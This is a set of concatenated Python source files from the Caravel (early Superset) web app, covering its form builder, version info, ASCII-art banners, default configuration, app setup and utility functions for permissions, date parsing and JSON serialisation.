                    "The radius of individual points (ones that are not in a cluster). "
                    "Either a numerical column or 'Auto', which scales the point based "
                    "on the largest cluster")
            }),
            'point_radius_unit': (SelectField, {
                "label": _("Point Radius Unit"),
                "default": "Pixels",
                "choices": self.choicify([
                    "Pixels",
                    "Miles",
                    "Kilometers",
                ]),
                "description": _("The unit of measure for the specified point radius")
            }),
            'global_opacity': (DecimalField, {
                "label": _("Opacity"),
                "default": 1,
                "description": _(
                    "Opacity of all clusters, points, and labels. "
                    "Between 0 and 1."),
            }),
            'viewport_zoom': (DecimalField, {
                "label": _("Zoom"),
                "default": 11,
                "validators": [validators.optional()],
                "description": _("Zoom level of the map"),
                "places": 8,
            }),
            'viewport_latitude': (DecimalField, {
                "label": _("Default latitude"),
                "default": 37.772123,
                "description": _("Latitude of default viewport"),
                "places": 8,
            }),
            'viewport_longitude': (DecimalField, {
                "label": _("Default longitude"),
                "default": -122.405293,
                "description": _("Longitude of default viewport"),
                "places": 8,
            }),
            'render_while_dragging': (BetterBooleanField, {
                "label": _("Live render"),
                "default": True,
                "description": _("Points and clusters will update as viewport "
                    "is being changed")
            }),
            'mapbox_color': (FreeFormSelectField, {
                "label": _("RGB Color"),
                "default": "rgb(0, 122, 135)",
                "choices": [
                    ("rgb(0, 139, 139)", "Dark Cyan"),
                    ("rgb(128, 0, 128)", "Purple"),
                    ("rgb(255, 215, 0)", "Gold"),
                    ("rgb(69, 69, 69)", "Dim Gray"),
                    ("rgb(220, 20, 60)", "Crimson"),
                    ("rgb(34, 139, 34)", "Forest Green"),
                ],
                "description": _("The color for points and clusters in RGB")
            }),
        }

        # Override default arguments with form overrides
        for field_name, override_map in viz.form_overrides.items():
            if field_name in field_data:
                field_data[field_name][1].update(override_map)

        self.field_dict = {
            field_name: v[0](**v[1])
            for field_name, v in field_data.items()
        }

    @staticmethod
    def choicify(l):
        return [("{}".format(obj), "{}".format(obj)) for obj in l]

    def get_form(self):
        """Returns a form object based on the viz/datasource/context"""
        viz = self.viz
        field_css_classes = {}
        for name, obj in self.field_dict.items():
            field_css_classes[name] = ['form-control']
            s = self.fieltype_class.get(obj.field_class)
            if s:
                field_css_classes[name] += [s]

        for field in ('show_brush', 'show_legend', 'rich_tooltip'):
            field_css_classes[field] += ['input-sm']

        class QueryForm(OmgWtForm):

            """The dynamic form object used for the explore view"""

            fieldsets = copy(viz.fieldsets)
            css_classes = field_css_classes
            standalone = HiddenField()
            async = HiddenField()
            force = HiddenField()
            extra_filters = HiddenField()
            json = HiddenField()
            slice_id = HiddenField()
            slice_name = HiddenField()
            previous_viz_type = HiddenField(default=viz.viz_type)
            collapsed_fieldsets = HiddenField()
            viz_type = self.field_dict.get('viz_type')

        for field in viz.flat_form_fields():
            setattr(QueryForm, field, self.field_dict[field])

        def add_to_form(attrs):
            for attr in attrs:
                setattr(QueryForm, attr, self.field_dict[attr])

        filter_choices = self.choicify(['in', 'not in'])
        having_op_choices = []
        filter_prefixes = ['flt']
        # datasource type specific form elements
        datasource_classname = viz.datasource.__class__.__name__
        time_fields = None
        if datasource_classname == 'SqlaTable':
            QueryForm.fieldsets += ({
                'label': _('SQL'),
                'fields': ['where', 'having'],
                'description': _(
                    "This section exposes ways to include snippets of "
                    "SQL in your query"),
            },)
            add_to_form(('where', 'having'))
            grains = viz.datasource.database.grains()

            if grains:
                grains_choices = [(grain.name, grain.label) for grain in grains]
                time_fields = ('granularity_sqla', 'time_grain_sqla')
                self.field_dict['time_grain_sqla'] = SelectField(
                    _('Time Grain'),
                    choices=grains_choices,
                    default="Time Column",
                    description=_(
                        "The time granularity for the visualization. This "
                        "applies a date transformation to alter "
                        "your time column and defines a new time granularity."
                        "The options here are defined on a per database "
                        "engine basis in the Caravel source code"))
                add_to_form(time_fields)
                field_css_classes['time_grain_sqla'] = ['form-control', 'select2']
                field_css_classes['granularity_sqla'] = ['form-control', 'select2']
            else:
                time_fields = 'granularity_sqla'
                add_to_form((time_fields, ))
        elif datasource_classname == 'DruidDatasource':
            time_fields = ('granularity', 'druid_time_origin')
            add_to_form(('granularity', 'druid_time_origin'))
            field_css_classes['granularity'] = ['form-control', 'select2_freeform']
            field_css_classes['druid_time_origin'] = ['form-control', 'select2_freeform']
            filter_choices = self.choicify(['in', 'not in', 'regex'])
            having_op_choices = self.choicify(
                ['==', '!=', '>', '<', '>=', '<='])
            filter_prefixes += ['having']
        add_to_form(('since', 'until'))

        # filter_cols defaults to ''. Filters with blank col will be ignored
        filter_cols = self.choicify(
            ([''] + viz.datasource.filterable_column_names) or [''])
        having_cols = filter_cols + viz.datasource.metrics_combo
        for field_prefix in filter_prefixes:
            is_having_filter = field_prefix == 'having'
            col_choices = filter_cols if not is_having_filter else having_cols
            op_choices = filter_choices if not is_having_filter else \
                having_op_choices
            for i in range(10):
                setattr(QueryForm, field_prefix + '_col_' + str(i),
                        SelectField(
                            _('Filter 1'),
                            default=col_choices[0][0],
                            choices=col_choices))
                setattr(QueryForm, field_prefix + '_op_' + str(i), SelectField(
                    _('Filter 1'),
                    default=op_choices[0][0],
                    choices=op_choices))
                setattr(
                    QueryForm, field_prefix + '_eq_' + str(i),
                    TextField(_("Super"), default=''))

        if time_fields:
            QueryForm.fieldsets = ({
                'label': _('Time'),
                'fields': (
                    time_fields,
                    ('since', 'until'),
                ),
                'description': _("Time related form attributes"),
            },) + tuple(QueryForm.fieldsets)
        return QueryForm






VERSION_MAJOR = 0
VERSION_MINOR = 10
VERSION_BUILD = 0
VERSION_INFO = (VERSION_MAJOR, VERSION_MINOR, VERSION_BUILD)
VERSION_STRING = "%d.%d.%d" % VERSION_INFO

__version__ = VERSION_INFO






from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

error = (
"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM\n"+
"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM\n"+
"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMM8OI++=~~~~~~=+?IODMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM\n"+
"MMMMMMMMMMMMMMMMMMMMMMMMMD$~~~~~~~~~~~~~~~~~~~~~~~=$MMMMMMMMMMMMMMMMMMMMMMMMMMMM\n"+
"MMMMMMMMMMMMMMMMMMMMMMN8?:~~~~~~~~~~~~~~~~~~~~~~~~~~=+8NMMMMMMMMMMMMMMMMMMMMMMMM\n"+
"MMMMMMMMMMMMMMMMMMMMO=~~~~~~~~~~~~~~~~~+I??~~~~~~~~~~~~~+DMMMMMMMMMMMMMMMMMMMMMM\n"+
"MMMMMMMMMMMMMMMMMMNI~~~~~~~~~~~~~~~~~~IIIII=~~~~~~~~~~~~~~=NMMMMMMMMMMMMMMMMMMMM\n"+
"MMMMMMMMMMMMMMMMM+=~~~~~~~~~~~~~~~~~~~=III+~~~~~~~~~~~~~~~~~?8MMMMMMMMMMMMMMMMMM\n"+
"MMMMMMMMMMMMMMMM?~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+++=~~~~8MMMMMMMMMMMMMMMMM\n"+
"MMMMMMMMMMMMMMI=~~~~~~~~~~~~~~~~~~~~~~~~~III?I~~~~~~~~,:++++++~~8MMMMMMMMMMMMMMM\n"+
"MMMMMMMMMMMMN7~~~~~~~~~~~~~~~~==+=~~~~~~=IIIII~~~~~~:.  ..:=++=~=MMMMMMMMMMMMMMM\n"+
"MMMMMMMMMMMO=~~~~~~~~~~~~~~~~+++=~~~~~~~~??I?I~~~~~~.     ...,~~~~IMMMMMMMMMMMMM\n"+
"MMMMMMMMMMM~~~~~~~~~~~~~~~~~+++:,~~~~~~~~~~~?=~~~~~:.       ..~~~~~OMMMMMMMMMMMM\n"+
"MMMMMMMMM$=~~~~~~~~~~~~~~~=++:.. ..~~~~~~~~~~~~~~~~,.     . . :~~~~~OMMMMMMMMMMM\n"+
"MMMMMMMMM~~~~~~~~~~~~~~~~+++,.     .~~~~~~~~~~~~~~~..    .. . .~~~~~=OMMMMMMMMMM\n"+
"MMMMMMMM?~~~~~~~~~~~~~~~=+~.        .~~~~~~~~~~~~~~.    ,MMMMM,=~~~~~~NMMMMMMMMM\n"+
"MMMMMMMN~~~~~~~~~~~~~~~~~,.         .,~~~~~~~~~~~~~..   ZMMM,+Z:~~~~~~$MMMMMMMMM\n"+
"MMMMMM8?~~~~~~~~~~~~~~~~~..         ..~~~~~~~~~~~~~:.   DMMM,+D~~~~~~~~IMMMMMMMM\n"+
"MMMMMMI~~~~~~~~~~~~~~~~~~..     :MMMO~~~~~~~~~~~~~~~,.. ?MMMMMI~~~~~~~~~MMMMMMMM\n"+
"MMMMMM=~~~~~~~~~~~~~~~~~~..     MMM+=M:~~~~~~~~~~~~~:.  .:IM$~~~~~~~~~~~8MMMMMMM\n"+
"MMMMMD~~~~~~~~~~~~~~~~~~~:.     MMM:,M:~~~~~~~~~~~~~~~.......:~~~~~~~~~~$MMMMMMM\n"+
"MMMMMI~~~~~~~~~~~~~~~~~~~~,     MMMMMM~~~~~~~~~~~~~~~~~~,..:~~~~~~~~~~~~+MMMMMMM\n"+
"MMMMD+~~~~~~~~~~~~~~~~~~~~~.    $MMMM$~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=MMMMMMM\n"+
"MMMM8~~~~~~~~~~~~~~~~~~~~~~:.    .  .:~~~~~~,..:.  .=~~~~~~~~~~~~~~~~~~~~MMMMMMM\n"+
"MMMMO~~~~~~~~~~~~~~~~~~~~~~~:,     .:~~~~~=8.. .+ . =8ZI~~~~~~~~~~~~~~~~=MMMMMMM\n"+
"MMMMZ=~~~~~~~~~~~~~~~~~~~~~~~~:,,,:~~~~~~IZ8:. .O....888?~~~~~~~~~~~~~~~+MMMMMMM\n"+
"MMMMO=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~?888=...I~I88888O?~~~~~~~~~~~~~~7MMMMMMM\n"+
"MMMMO~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Z888OO88888888888O?~~~~~~~~~~~~~OMMMMMMM\n"+
"MMMMD+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=8888888888888888888~~~~~~~~~~~~+MMMMMMMM\n"+
"MMMMM7~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~?8888888888888888888?~~~~~~~~~~=$MMMMMMMM\n"+
"MMMMMD~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=$8888888888888888888O~~~~~~~~~~8MMMMMMMMM\n"+
"MMMMMN=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+Z88888888888888888ZZ7=~~~~~~~~?MMMMMMMMMM\n"+
"MMMMMMZ=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+Z88888888Z7I===~~~~~~~~~~~~~=OMMMMMMMMMMM\n"+
"MMMMMMN$~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=$88888O7?=~~~~~~~~~~~~~~~~~~OMMMMMMMMMMMM\n"+
"MMMMMMMM?~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~I8OZ+~~~~~~~~~~~~~~~~~~~~=DMMMMMMMMMMMMMM\n"+
"MMMMMMMM8=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+$+=~~~~~~~~~~~~~~~~~~~~+MMMMMMMMMMMMMMMM\n"+
"MMMMMMMMMD7~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=$DMMMMMMMMMMMMMMMMMM\n"+
"MMMMMMMMMMM?~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=$OMMMMMMMMMMMMMMMMMMMMM\n"+
"MMMMMMMMMMMMD7=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+ZMMMMMMMMMMMMMMMMMMMMMMMMMM\n"+
"MMMMMMMMMMMMMMZ7=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~78MMMMMMMMMMMMMMMMMMMMMMMMMMMMM\n"+
"MMMMMMMMMMMMMMMMM8OI=~~~~~~~~~~~~~~~~~~~=+?ZDNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM\n"+
"MMMMMMMMMMMMMMMMMMMMNDZ7?++~=~==~+?IONMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM\n"+
"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM\n"+
"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM\n"+
"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM\n"+
"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM")

stacktrace="""
-------------------------------------------------------------------------------------------------------
=======================================================================================================
-------------------------------------------------------------------------------------------------------
             ___                          ___          ___
            (   )                        (   )        (   )
    .--.     | |_       .---.    .--.     | |   ___    | |_      ___ .-.      .---.    .--.      .--.
  /  _  \   (   __)    / .-, \  /    \    | |  (   )  (   __)   (   )   \    / .-, \  /    \    /    \\
 . .' `. ;   | |      (__) ; | |  .-. ;   | |  ' /     | |       | ' .-. ;  (__) ; | |  .-. ;  |  .-. ;
 | '   | |   | | ___    .'`  | |  |(___)  | |,' /      | | ___   |  / (___)   .'`  | |  |(___) |  | | |
 _\_`.(___)  | |(   )  / .'| | |  |       | .  '.      | |(   )  | |         / .'| | |  |      |  |/  |
(   ). '.    | | | |  | /  | | |  | ___   | | `. \     | | | |   | |        | /  | | |  | ___  |  ' _.'
 | |  `\ |   | ' | |  ; |  ; | |  '(   )  | |   \ \    | ' | |   | |        ; |  ; | |  '(   ) |  .'.-.
 ; '._,' '   ' `-' ;  ' `-'  | '  `-' |   | |    \ .   ' `-' ;   | |        ' `-'  | '  `-' |  '  `-' /
  '.___.'     `.__.   `.__.'_.  `.__,'   (___ ) (___)   `.__.   (___)       `.__.'_.  `.__,'    `.__.'

-------------------------------------------------------------------------------------------------------
=======================================================================================================
-------------------------------------------------------------------------------------------------------
"""

boat = """\
        + +
        )`.).
      )``)``) .~~
      ).-'.-')|)
    |-).-).-'_'-/
 ~~~\ `o-o-o'  /~~~~
  ~~~'---.____/~~~"""






"""The main config file for Caravel

All configuration in this file can be overridden by providing a caravel_config
in your PYTHONPATH as there is a ``from caravel_config import *``
at the end of this file.
"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import os

from dateutil import tz
from flask_appbuilder.security.manager import AUTH_DB

BASE_DIR = os.path.abspath(os.path.dirname(__file__))
DATA_DIR = os.path.join(os.path.expanduser('~'), '.caravel')
if not os.path.exists(DATA_DIR):
    os.makedirs(DATA_DIR)

# ---------------------------------------------------------
# Caravel specific config
# ---------------------------------------------------------
ROW_LIMIT = 50000
CARAVEL_WORKERS = 16

CARAVEL_WEBSERVER_ADDRESS = '0.0.0.0'
CARAVEL_WEBSERVER_PORT = 8088
CARAVEL_WEBSERVER_TIMEOUT = 60

CUSTOM_SECURITY_MANAGER = None
# ---------------------------------------------------------

# Your App secret key
SECRET_KEY = '\2\1thisismyscretkey\1\2\e\y\y\h'  # noqa

# The SQLAlchemy connection string.
SQLALCHEMY_DATABASE_URI = 'sqlite:///' + os.path.join(DATA_DIR, 'caravel.db')
# SQLALCHEMY_DATABASE_URI = 'mysql://myapp@localhost/myapp'
# SQLALCHEMY_DATABASE_URI = 'postgresql://root:password@localhost/myapp'

# Flask-WTF flag for CSRF
CSRF_ENABLED = True

# Whether to run the web server in debug mode or not
DEBUG = False

# Whether to show the stacktrace on 500 error
SHOW_STACKTRACE = True

# ------------------------------
# GLOBALS FOR APP Builder
# ------------------------------
# Uncomment to setup Your App name
APP_NAME = "Caravel"

# Uncomment to setup Setup an App icon
APP_ICON = "/static/assets/images/caravel_logo.png"

# Druid query timezone
# tz.tzutc() : Using utc timezone
# tz.tzlocal() : Using local timezone
# other tz can be overridden by providing a local_config
DRUID_IS_ACTIVE = True
DRUID_TZ = tz.tzutc()

# ----------------------------------------------------
# AUTHENTICATION CONFIG
# ----------------------------------------------------
# The authentication type
# AUTH_OID : Is for OpenID
# AUTH_DB : Is for database (username/password()
# AUTH_LDAP : Is for LDAP
# AUTH_REMOTE_USER : Is for using REMOTE_USER from web server
AUTH_TYPE = AUTH_DB

# Uncomment to setup Full admin role name
# AUTH_ROLE_ADMIN = 'Admin'

# Uncomment to setup Public role name, no authentication needed
# AUTH_ROLE_PUBLIC = 'Public'

# Will allow user self registration
# AUTH_USER_REGISTRATION = True

# The default user self registration role
# AUTH_USER_REGISTRATION_ROLE = "Public"

# When using LDAP Auth, setup the ldap server
# AUTH_LDAP_SERVER = "ldap://ldapserver.new"

# Uncomment to setup OpenID providers example for OpenID authentication
# OPENID_PROVIDERS = [
#    { 'name': 'Yahoo', 'url': 'https://me.yahoo.com' },
#    { 'name': 'AOL', 'url': 'http://openid.aol.com/<username>' },
#    { 'name': 'Flickr', 'url': 'http://www.flickr.com/<username>' },
#    { 'name': 'MyOpenID', 'url': 'https://www.myopenid.com' }]

# ---------------------------------------------------
# Roles config
# ---------------------------------------------------
# Grant public role the same set of permissions as for the GAMMA role.
# This is useful if one wants to enable anonymous users to view
# dashboards. Explicit grant on specific datasets is still required.
PUBLIC_ROLE_LIKE_GAMMA = False

# ---------------------------------------------------
# Babel config for translations
# ---------------------------------------------------
# Setup default language
BABEL_DEFAULT_LOCALE = 'en'
# Your application default translation path
BABEL_DEFAULT_FOLDER = 'babel/translations'
# The allowed translation for you app
LANGUAGES = {
    'en': {'flag': 'us', 'name': 'English'},
    # 'fr': {'flag': 'fr', 'name': 'French'},
    # 'zh': {'flag': 'cn', 'name': 'Chinese'},
}
# ---------------------------------------------------
# Image and file configuration
# ---------------------------------------------------
# The file upload folder, when using models with files
UPLOAD_FOLDER = BASE_DIR + '/app/static/uploads/'

# The image upload folder, when using models with images
IMG_UPLOAD_FOLDER = BASE_DIR + '/app/static/uploads/'

# The image upload url, when using models with images
IMG_UPLOAD_URL = '/static/uploads/'
# Setup image size default is (300, 200, True)
# IMG_SIZE = (300, 200, True)

CACHE_DEFAULT_TIMEOUT = None
CACHE_CONFIG = {'CACHE_TYPE': 'null'}

# CORS Options
ENABLE_CORS = False
CORS_OPTIONS = {}


# ---------------------------------------------------
# List of viz_types not allowed in your environment
# For example: Blacklist pivot table and treemap:
#  VIZ_TYPE_BLACKLIST = ['pivot_table', 'treemap']
# ---------------------------------------------------

VIZ_TYPE_BLACKLIST = []

# ---------------------------------------------------
# List of data sources not to be refreshed in druid cluster
# ---------------------------------------------------

DRUID_DATA_SOURCE_BLACKLIST = []

"""
1) http://docs.python-guide.org/en/latest/writing/logging/
2) https://docs.python.org/2/library/logging.config.html
"""

# Console Log Settings

LOG_FORMAT = '%(asctime)s:%(levelname)s:%(name)s:%(message)s'
LOG_LEVEL = 'DEBUG'

# ---------------------------------------------------
# Enable Time Rotate Log Handler
# ---------------------------------------------------
# LOG_LEVEL = DEBUG, INFO, WARNING, ERROR, CRITICAL

ENABLE_TIME_ROTATE = False
TIME_ROTATE_LOG_LEVEL = 'DEBUG'
FILENAME = os.path.join(DATA_DIR, 'caravel.log')
ROLLOVER = 'midnight'
INTERVAL = 1
BACKUP_COUNT = 30

# Set this API key to enable Mapbox visualizations
MAPBOX_API_KEY = ""

# If defined, shows this text in an alert-warning box in the navbar
# one example use case may be "STAGING" to make it clear that this is
# not the production version of the site.
WARNING_MSG = None


try:
    from caravel_config import *  # noqa
except ImportError:
    pass

if not CACHE_DEFAULT_TIMEOUT:
    CACHE_DEFAULT_TIMEOUT = CACHE_CONFIG.get('CACHE_DEFAULT_TIMEOUT')






"""Package's main module!"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import logging
import os
from logging.handlers import TimedRotatingFileHandler

from flask import Flask, redirect
from flask_appbuilder import SQLA, AppBuilder, IndexView
from flask_appbuilder.baseviews import expose
from flask_cache import Cache
from flask_migrate import Migrate

from caravel import version

VERSION = version.VERSION_STRING

APP_DIR = os.path.dirname(__file__)
CONFIG_MODULE = os.environ.get('CARAVEL_CONFIG', 'caravel.config')

app = Flask(__name__)
app.config.from_object(CONFIG_MODULE)
if not app.debug:
    # In production mode, add log handler to sys.stderr.
    app.logger.addHandler(logging.StreamHandler())
    app.logger.setLevel(logging.INFO)

db = SQLA(app)

cache = Cache(app, config=app.config.get('CACHE_CONFIG'))

migrate = Migrate(app, db, directory=APP_DIR + "/migrations")

# Logging configuration
logging.basicConfig(format=app.config.get('LOG_FORMAT'))
logging.getLogger().setLevel(app.config.get('LOG_LEVEL'))

if app.config.get('ENABLE_TIME_ROTATE'):
    logging.getLogger().setLevel(app.config.get('TIME_ROTATE_LOG_LEVEL'))
    handler = TimedRotatingFileHandler(app.config.get('FILENAME'),
                                       when=app.config.get('ROLLOVER'),
                                       interval=app.config.get('INTERVAL'),
                                       backupCount=app.config.get('BACKUP_COUNT'))
    logging.getLogger().addHandler(handler)

if app.config.get('ENABLE_CORS'):
    from flask_cors import CORS
    CORS(app, **app.config.get('CORS_OPTIONS'))


class MyIndexView(IndexView):
    @expose('/')
    def index(self):
        return redirect('/caravel/welcome')

appbuilder = AppBuilder(
    app, db.session,
    base_template='caravel/base.html',
    indexview=MyIndexView,
    security_manager_class=app.config.get("CUSTOM_SECURITY_MANAGER"))

sm = appbuilder.sm

get_session = appbuilder.get_session
from caravel import config, views  # noqa






"""Utility functions used across Caravel"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

from datetime import datetime, date
import decimal
import functools
import json
import logging
import numpy
import uuid

import parsedatetime
import sqlalchemy as sa
from dateutil.parser import parse
from flask import flash, Markup
from flask_appbuilder.security.sqla import models as ab_models
from markdown import markdown as md
from sqlalchemy.types import TypeDecorator, TEXT
from pydruid.utils.having import Having

EPOCH = datetime(1970, 1, 1)


class CaravelException(Exception):
    pass


class CaravelSecurityException(CaravelException):
    pass


class MetricPermException(Exception):
    pass


def can_access(security_manager, permission_name, view_name):
    """Protecting from has_access failing from missing perms/view"""
    try:
        return security_manager.has_access(permission_name, view_name)
    except:
        pass
    return False


def flasher(msg, severity=None):
    """Flask's flash if available, logging call if not"""
    try:
        flash(msg, severity)
    except RuntimeError:
        if severity == 'danger':
            logging.error(msg)
        else:
            logging.info(msg)


class memoized(object):  # noqa

    """Decorator that caches a function's return value each time it is called

    If called later with the same arguments, the cached value is returned, and
    not re-evaluated.
    """

    def __init__(self, func):
        self.func = func
        self.cache = {}

    def __call__(self, *args):
        try:
            return self.cache[args]
        except KeyError:
            value = self.func(*args)
            self.cache[args] = value
            return value
        except TypeError:
            # uncachable -- for instance, passing a list as an argument.
            # Better to not cache than to blow up entirely.
            return self.func(*args)

    def __repr__(self):
        """Return the function's docstring."""
        return self.func.__doc__

    def __get__(self, obj, objtype):
        """Support instance methods."""
        return functools.partial(self.__call__, obj)


class DimSelector(Having):
    def __init__(self, **args):
        # Just a hack to prevent any exceptions
        Having.__init__(self, type='equalTo', aggregation=None, value=None)

        self.having = {'having': {
            'type': 'dimSelector',
            'dimension': args['dimension'],
            'value': args['value'],
        }}


def list_minus(l, minus):
    """Returns l without what is in minus

    >>> list_minus([1, 2, 3], [2])
    [1, 3]
    """
    return [o for o in l if o not in minus]


def parse_human_datetime(s):
    """
    Returns ``datetime.datetime`` from human readable strings

    >>> from datetime import date, timedelta
    >>> from dateutil.relativedelta import relativedelta
    >>> parse_human_datetime('2015-04-03')
    datetime.datetime(2015, 4, 3, 0, 0)
    >>> parse_human_datetime('2/3/1969')
    datetime.datetime(1969, 2, 3, 0, 0)
    >>> parse_human_datetime("now") <= datetime.now()
    True
    >>> parse_human_datetime("yesterday") <= datetime.now()
    True
    >>> date.today() - timedelta(1) == parse_human_datetime('yesterday').date()
    True
    >>> year_ago_1 = parse_human_datetime('one year ago').date()
    >>> year_ago_2 = (datetime.now() - relativedelta(years=1) ).date()
    >>> year_ago_1 == year_ago_2
    True
    """
    try:
        dttm = parse(s)
    except Exception:
        try:
            cal = parsedatetime.Calendar()
            dttm = dttm_from_timtuple(cal.parse(s)[0])
        except Exception as e:
            logging.exception(e)
            raise ValueError("Couldn't parse date string [{}]".format(s))
    return dttm


def dttm_from_timtuple(d):
    return datetime(
        d.tm_year, d.tm_mon, d.tm_mday, d.tm_hour, d.tm_min, d.tm_sec)


def merge_perm(sm, permission_name, view_menu_name):
    pv = sm.find_permission_view_menu(permission_name, view_menu_name)
    if not pv:
        sm.add_permission_view_menu(permission_name, view_menu_name)


def parse_human_timedelta(s):
    """
    Returns ``datetime.datetime`` from natural language time deltas

    >>> parse_human_datetime("now") <= datetime.now()
    True
    """
    cal = parsedatetime.Calendar()
    dttm = dttm_from_timtuple(datetime.now().timetuple())
    d = cal.parse(s, dttm)[0]
    d = datetime(
        d.tm_year, d.tm_mon, d.tm_mday, d.tm_hour, d.tm_min, d.tm_sec)
    return d - dttm


class JSONEncodedDict(TypeDecorator):

    """Represents an immutable structure as a json-encoded string."""

    impl = TEXT

    def process_bind_param(self, value, dialect):
        if value is not None:
            value = json.dumps(value)

        return value

    def process_result_value(self, value, dialect):
        if value is not None:
            value = json.loads(value)
        return value


def init(caravel):
    """Inits the Caravel application with security roles and such"""
    db = caravel.db
    models = caravel.models
    sm = caravel.appbuilder.sm
    alpha = sm.add_role("Alpha")
    admin = sm.add_role("Admin")
    config = caravel.app.config

    merge_perm(sm, 'all_datasource_access', 'all_datasource_access')

    perms = db.session.query(ab_models.PermissionView).all()
    for perm in perms:
        if perm.permission.name in ('datasource_access', 'database_access'):
            continue
        if perm.view_menu and perm.view_menu.name not in (
                'UserDBModelView', 'RoleModelView', 'ResetPasswordView',
                'Security'):
            sm.add_permission_role(alpha, perm)
        sm.add_permission_role(admin, perm)
    gamma = sm.add_role("Gamma")
    public_role = sm.find_role("Public")
    public_role_like_gamma = \
        public_role and config.get('PUBLIC_ROLE_LIKE_GAMMA', False)
    for perm in perms:
        if (
                perm.view_menu and perm.view_menu.name not in (
                    'ResetPasswordView',
                    'RoleModelView',
                    'UserDBModelView',
                    'Security') and
                perm.permission.name not in (
                    'all_datasource_access',
                    'can_add',
                    'can_download',
                    'can_delete',
                    'can_edit',
                    'can_save',
                    'datasource_access',
                    'database_access',
                    'muldelete',
                )):
            sm.add_permission_role(gamma, perm)
            if public_role_like_gamma:
                sm.add_permission_role(public_role, perm)
    session = db.session()
    table_perms = [
        table.perm for table in session.query(models.SqlaTable).all()]
    table_perms += [
        table.perm for table in session.query(models.DruidDatasource).all()]
    for table_perm in table_perms:
        merge_perm(sm, 'datasource_access', table_perm)

    db_perms = [db.perm for db in session.query(models.Database).all()]
    for db_perm in db_perms:
        merge_perm(sm, 'database_access', db_perm)
    init_metrics_perm(caravel)


def init_metrics_perm(caravel, metrics=None):
    """Create permissions for restricted metrics

    :param metrics: a list of metrics to be processed, if not specified,
        all metrics are processed
    :type metrics: models.SqlMetric or models.DruidMetric
    """
    db = caravel.db
    models = caravel.models
    sm = caravel.appbuilder.sm

    if not metrics:
        metrics = []
        for model in [models.SqlMetric, models.DruidMetric]:
            metrics += list(db.session.query(model).all())

    for metric in metrics:
        if metric.is_restricted and metric.perm:
            merge_perm(sm, 'metric_access', metric.perm)


def datetime_f(dttm):
    """Formats datetime to take less room when it is recent"""
    if dttm:
        dttm = dttm.isoformat()
        now_iso = datetime.now().isoformat()
        if now_iso[:10] == dttm[:10]:
            dttm = dttm[11:]
        elif now_iso[:4] == dttm[:4]:
            dttm = dttm[5:]
    return "<nobr>{}</nobr>".format(dttm)


def base_json_conv(obj):

    if isinstance(obj, numpy.int64):
        return int(obj)
    elif isinstance(obj, set):
        return list(obj)
    elif isinstance(obj, decimal.Decimal):
        return float(obj)
    elif isinstance(obj, uuid.UUID):
        return str(obj)


def json_iso_dttm_ser(obj):
    """
    json serializer that deals with dates

    >>> dttm = datetime(1970, 1, 1)
    >>> json.dumps({'dttm': dttm}, default=json_iso_dttm_ser)
    '{"dttm": "1970-01-01T00:00:00"}'
    """
    val = base_json_conv(obj)
    if val is not None:
        return val
    if isinstance(obj, datetime):
        obj = obj.isoformat()
    else:
        raise TypeError(
            "Unserializable object {} of type {}".format(obj, type(obj))
        )
    return obj


def json_int_dttm_ser(obj):
    """json serializer that deals with dates"""
    val = base_json_conv(obj)
    if val is not None:
        return val
    if isinstance(obj, datetime):
        obj = (obj - EPOCH).total_seconds() * 1000
    elif isinstance(obj, date):
        obj = (obj - EPOCH.date()).total_seconds() * 1000
    else:
        raise TypeError(
            "Unserializable object {} of type {}".format(obj, type(obj))
        )
    return obj


def error_msg_from_exception(e):
    """Translate exception into error message
    Database have different ways to handle exception. This function attempts
    to make sense of the exception object and construct a human readable
    sentence.
    """
    msg = ''
    if hasattr(e, 'message'):
        if (type(e.message) is dict):
            msg = e.message.get('message')
        elif e.message:
            msg = "{}".format(e.message)
    return msg or '{}'.format(e)


def markdown(s, markup_wrap=False):
    s = s or ''
    s = md(s, [
        'markdown.extensions.tables',
        'markdown.extensions.fenced_code',
        'markdown.extensions.codehilite',
    ])
    if markup_wrap:
        s = Markup(s)
    return s


def readfile(filepath):
    with open(filepath) as f:
        content = f.read()
